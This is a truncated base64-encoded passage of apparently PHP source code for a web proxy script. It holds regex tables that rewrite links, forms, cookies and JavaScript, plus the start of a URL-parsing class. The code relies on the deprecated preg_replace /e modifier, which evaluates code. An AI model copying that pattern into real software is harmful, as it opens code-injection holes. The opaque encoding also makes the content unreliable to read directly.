0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c